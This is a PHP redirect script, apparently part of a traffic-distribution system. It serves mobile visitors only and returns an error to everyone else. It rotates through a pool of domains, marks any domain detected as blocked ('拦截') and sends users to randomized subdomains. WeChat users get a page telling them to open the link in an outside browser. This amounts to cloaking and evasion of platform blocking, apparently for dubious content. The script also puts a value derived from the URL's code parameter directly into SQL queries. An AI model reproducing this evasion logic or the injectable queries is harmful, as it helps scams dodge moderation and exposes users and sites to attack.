<?php
error_reporting(0); 
$xitong=$_SERVER['HTTP_USER_AGENT'];
if(strpos($xitong,"Android") || strpos($xitong,"iPhone") || strpos($xitong,"iPad") || strpos($xitong,"MIDP-2.0") || strpos($xitong,"Opera Mini") || strpos($xitong,"UCWEB") || strpos($xitong,"NetFront") || strpos($xitong,"Windows CE") || strpos($xitong,"SymbianOS")){ 
include("../config/ht.php");
$code=ubo($_GET[code]);
if (strpos($code, 'ubo') !== false) {
$ppp = explode('ubo',$code); 
$stcode=$ppp['0'];
$lx=$ppp['1'];
}
$zykey=substr($stcode,0,32);
if($lx=='gl'){
$type="where zykey='$zykey'";
$pz=queryall(shipin,$type);
$type="order by rand() limit 1";
$dsmb=queryall(dsmb,$type);
$mb=$dsmb[id];
}else{
$type="where zykey='$zykey'";
$pz=queryall(daili,$type);
$type="where userid='$pz[userid]'";
$user=queryall(user,$type);
if($user[pb]==1 or $user==null){
$str ="<script>location.href='http://www.baidu.com'</script>";
echo $str;
exit;
}
$mb=$user[dsmb];
}
if(!$pz){echo err();}
$type="where zt='正常' and qx='1'  order by id asc limit 1";
$zurl=queryall(zurl,$type);
$lurl='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if($tz==1){
if($zurl[url]){
$tzurl=$zurl[url];
}else{
echo '没有可用域名';
exit;
}
}else{
$tzurl=$_SERVER['HTTP_HOST'];
}
$tcs=$zurl[cs]+1;
$type="cs='$tcs'  where url='$tzurl' ";
upalldt(zurl,$type);
$url=$_SERVER['HTTP_HOST'];
$type="where url='$url'";
$zym=queryall(zym,$type);
$tcsto=$zym[cs]+1;
$type="cs='$tcsto'  where url='$url' ";
upalldt(zym,$type);
if($ymjc==1){
$jczt=ubourljc($tzurl);
if($jczt==0){
$type="zt='拦截'  where url='$tzurl' ";
upalldt(zurl,$type);
echo "<script>location.href='$lurl'</script>";
exit;
}
}
$zhong='http://'. random(20).'.'. $tzurl.'/ds-'.$lx.md5($user[userid]).'-'.$code.'-'.$mb.'.html'.'?str='.random(10).'&to='.'www.qq.com';  
if($wx==1){
header ("location:$zhong");
}else{
if(strpos($xitong, 'MicroMessenger')!==false){
$html ='<!DOCTYPE html>';
$html.='<html xmlns="http://www.w3.org/1999/xhtml" style="font-size: 100px;">';
$html.='<head id="Head1">';
$html.='<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>提示</title>';
$html.='<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />';
$html.='<meta name="format-detection" content="telephone=no" />';
$html.='<meta name="apple-mobile-web-app-capable" content="yes" />';
$html.='<meta name="wap-font-scale" content="no" />';
$html.='<meta name="apple-mobile-web-app-status-bar-style" content="black" />';
$html.='<link href="/2019newui/images/index.css" rel="stylesheet" type="text/css" />';
$html.='<script type="text/javascript" src="/2019newui/js/jquery.min.js"></script>';
$html.='<script type="text/javascript">'."\r\n";
$html.='$(function ($) {'."\r\n";
$html.='setRootFontSize();'."\r\n";
$html.='});'."\r\n";
$html.='window.onresize = function () {'."\r\n";
$html.='setRootFontSize();'."\r\n";
$html.='}'."\r\n";
$html.='function setRootFontSize() {'."\r\n";
$html.='$'."('html').css('font-size', document.body.clientWidth / 15 + 'px');"."\r\n";
$html.='}'."\r\n";
$html.='</script>'."\r\n";
$html.='</head>';
$html.='<body style="background-color: #f5f5f5;">';
$html.='<div id="Pan_WX">';
$html.='<div class="fc_jt">';
$html.='<img src="/2019newui/images/jt.png"></div>';
$html.='<div class="fc_wz">点击屏幕右上角[...]<br />用 浏览器 打开 </div>  ';
$html.='<div class="fc_tp"><img src="/2019newui/images/wx_az.png"></div></div>';
$html.='</body>';
$html.='</html>';
echo $html;
exit;
}else{
header ("location:$zhong");
}
}
}else{
echo err();
}
?>
